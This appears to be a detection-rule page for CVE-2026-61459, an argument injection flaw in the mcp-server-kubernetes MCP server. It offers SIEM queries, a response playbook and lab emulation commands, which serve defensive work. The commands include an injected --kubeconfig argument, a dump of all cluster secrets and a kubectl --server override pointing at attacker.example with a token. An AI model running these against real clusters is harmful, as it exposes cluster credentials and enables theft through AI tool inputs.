mcp-server-kubernetes Argument Injection Exposing Cluster Credentials (CVE-2026-61459)
Detects exploitation of CVE-2026-61459, an argument injection vulnerability (CWE-88) in the mcp-server-kubernetes MCP server prior to version 3.9.0. Attacker-controlled input passed through the server's structured kubectl tools is not properly separated from kubectl command-line arguments, allowing injection of additional flags (e.g. --kubeconfig, --token, --server, or exec/run overrides) that can leak Kubernetes cluster credentials or execute arbitrary kubectl operations. Because the MCP server typically runs with a service account or admin kubeconfig, successful exploitation can expose the full cluster credential set. This detection looks for kubectl process executions with injected/anomalous argument patterns originating from the MCP server process, and for suspicious credential-exposing kubectl invocations.
Vulnerability Intelligence
Public PoCAffected Software
- Vendor
- pip
- Product
- mcp-server-kubernetes
- Versions
- < 3.9.0
Weakness (CWE)
Timeline
- Disclosed
- July 10, 2026
References & Proof of Concept
- PoChttps://github.com/advisories/GHSA-wmg3-h8mf-wgvr
- PoChttps://www.exploit-db.com/exploits/52638
- https://nvd.nist.gov/vuln/detail/CVE-2026-61459
- https://github.com/Flux159/mcp-server-kubernetes/issues/328
- https://github.com/Flux159/mcp-server-kubernetes/pull/329
- https://github.com/Flux159/mcp-server-kubernetes/commit/d7890f50a4567bf5d9842541ba6f41e180227f9a
- https://github.com/Flux159/mcp-server-kubernetes/releases/tag/3.9.0
- https://www.vulncheck.com/advisories/mcp-server-kubernetes-argument-injection-via-kubectl-structured-tools
CVSS
What is CVE-2026-61459 mcp-server-kubernetes Argument Injection Exposing Cluster Credentials (CVE-2026-61459)?
mcp-server-kubernetes Argument Injection Exposing Cluster Credentials (CVE-2026-61459) (CVE-2026-61459) maps to the Credential Access and Discovery and Execution tactics — the adversary is trying to steal account names and passwords in MITRE ATT&CK.
This page provides production-ready detection logic for mcp-server-kubernetes Argument Injection Exposing Cluster Credentials (CVE-2026-61459), covering the data sources and telemetry it touches: Microsoft Defender for Endpoint, Process Creation. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Credential Access Discovery Execution
DeviceProcessEvents
| where FileName in~ ("kubectl", "kubectl.exe")
| extend Args = tolower(ProcessCommandLine)
| where InitiatingProcessFileName has_any ("node", "node.exe", "npx", "python", "python3", "mcp-server-kubernetes")
or InitiatingProcessCommandLine has "mcp-server-kubernetes"
| where Args has_any ("--kubeconfig", "--token", "--server=", "--as=", "--as-group", "--insecure-skip-tls-verify", "get secret", "exec", "run --", "--client-certificate", "--client-key")
or Args matches regex @"\s-{1,2}\w+.*;\s*kubectl"
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, ProcessCommandLine, InitiatingProcessAccountName
| order by Timestamp desc Flags kubectl executions spawned by an MCP/Node/Python parent that carry credential-exposing or injected flags consistent with CVE-2026-61459 argument injection.
Data Sources
Required Tables
False Positives
- Legitimate administrators running kubectl with --kubeconfig or --token during normal operations
- CI/CD runners that invoke kubectl with explicit context and token flags
- Backup or inventory tooling that lists secrets with kubectl get secret
Sigma rule & cross-platform mapping
The detection logic for mcp-server-kubernetes Argument Injection Exposing Cluster Credentials (CVE-2026-61459) (CVE-2026-61459) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: process_creation
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for CVE-2026-61459
References (8)
- https://nvd.nist.gov/vuln/detail/CVE-2026-61459
- https://github.com/advisories/GHSA-wmg3-h8mf-wgvr
- https://github.com/Flux159/mcp-server-kubernetes/issues/328
- https://github.com/Flux159/mcp-server-kubernetes/pull/329
- https://github.com/Flux159/mcp-server-kubernetes/commit/d7890f50a4567bf5d9842541ba6f41e180227f9a
- https://github.com/Flux159/mcp-server-kubernetes/releases/tag/3.9.0
- https://www.vulncheck.com/advisories/mcp-server-kubernetes-argument-injection-via-kubectl-structured-tools
- https://www.exploit-db.com/exploits/52638
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Simulated kubectl argument injection via MCP tool input
Expected signal: Process-creation event for kubectl with an injected --kubeconfig flag and a node parent process.
- Test 2kubectl secret enumeration via injected argument
Expected signal: Command line containing 'get secret' plus --kubeconfig recorded in process telemetry.
- Test 3kubectl exec/server override injection
Expected signal: Process telemetry showing --server= and --token flags on a kubectl command line.
Response Playbook
Triage
- Confirm the mcp-server-kubernetes version on the affected host; anything < 3.9.0 is vulnerable to CVE-2026-61459.
- Retrieve the full kubectl command line and parent process; determine whether the injected flags (--kubeconfig, --token, --server, --as, get secret) came from attacker-supplied MCP tool input.
- Identify which MCP client/user session issued the request that triggered the kubectl invocation and whether it maps to a legitimate operator.
- Check whether the kubectl invocation read or exported cluster credentials (secrets, tokens, kubeconfig) and where output was sent.
Containment
- Stop the mcp-server-kubernetes process and block the MCP endpoint until upgraded to >= 3.9.0.
- Rotate any Kubernetes credentials (service-account tokens, kubeconfig, client certs) that the MCP server had access to, as they must be considered exposed.
- Restrict the MCP server's RBAC to least privilege and remove cluster-admin bindings from its service account.
Evidence Collection
- Capture the raw MCP request/response logs showing the tool arguments that were injected.
- Preserve process-creation telemetry (kubectl command lines, parent process, user) and the MCP server application logs.
- Collect Kubernetes API server audit logs for get/list on secrets and any exec/token requests around the event time.
Escalation Criteria
- ! Escalate to incident response if cluster secrets, service-account tokens, or kubeconfig were successfully read or exfiltrated.
- ! Escalate if the injected arguments pointed kubectl at an external --server or exfiltrated credentials off-host, indicating active attacker control.
Investigation Guide
Forensic Artifacts
- >
Process-creation records for kubectl with anomalous flags and MCP parent process - >
mcp-server-kubernetes application logs containing raw tool-call arguments - >
Kubernetes API server audit logs showing secret reads or token requests - >
Shell history / auditd records on the MCP host
Tuning Guidance
Baseline the legitimate kubectl usage of your MCP server's service account. Whitelist the specific contexts and flags used by approved automation, and alert on any --token/--server/--kubeconfig/get-secret argument that does not match that baseline. After upgrading to >= 3.9.0, keep the rule as a defense-in-depth control but expect argument injection attempts to fail.
Hunting Queries
Hunts for kubectl invocations parented by mcp-server-kubernetes that carry credential-exposing flags.
DeviceProcessEvents | where FileName in~ ("kubectl","kubectl.exe") | where InitiatingProcessCommandLine has "mcp-server-kubernetes" | where ProcessCommandLine has_any ("--token","--kubeconfig","get secret","--server=") | project Timestamp, DeviceName, ProcessCommandLine, InitiatingProcessCommandLine index=* process_name="kubectl*" parent_process="*mcp-server-kubernetes*" (process="*--token*" OR process="*--kubeconfig*" OR process="*get secret*" OR process="*--server=*") | table _time host user process Atomic Red Team Tests
Emulates an attacker injecting an extra --kubeconfig flag through mcp-server-kubernetes structured tool arguments (lab only).
Command
node -e "const {execFileSync}=require('child_process'); const userInput='pods --kubeconfig=/tmp/attacker.kubeconfig'; execFileSync('/bin/sh',['-c','kubectl get '+userInput],{stdio:'inherit'})" || echo 'simulated injection executed' Cleanup
rm -f /tmp/attacker.kubeconfig Expected Telemetry
Process-creation event for kubectl with an injected --kubeconfig flag and a node parent process.
Expected Detection
KQL/SPL/EQL rules flag the kubectl invocation with --kubeconfig spawned by node.
Simulates the credential-exposure payload where injected input turns a benign call into a secret read.
Command
sh -c 'echo kubectl get secrets --all-namespaces -o yaml --kubeconfig=/tmp/x.kubeconfig > /tmp/mcp_inject.log; cat /tmp/mcp_inject.log' Cleanup
rm -f /tmp/mcp_inject.log /tmp/x.kubeconfig Expected Telemetry
Command line containing 'get secret' plus --kubeconfig recorded in process telemetry.
Expected Detection
Detection matches on the get-secret + credential-flag pattern.
Emulates injection of a --server override redirecting kubectl to an attacker endpoint.
Command
sh -c 'echo kubectl get pods --server=https://attacker.example:6443 --insecure-skip-tls-verify --token=eyTESTTOKEN > /tmp/mcp_srv_inject.log; cat /tmp/mcp_srv_inject.log' Cleanup
rm -f /tmp/mcp_srv_inject.log Expected Telemetry
Process telemetry showing --server= and --token flags on a kubectl command line.
Expected Detection
Rules alert on the --server=/--token/--insecure-skip-tls-verify injected argument combination.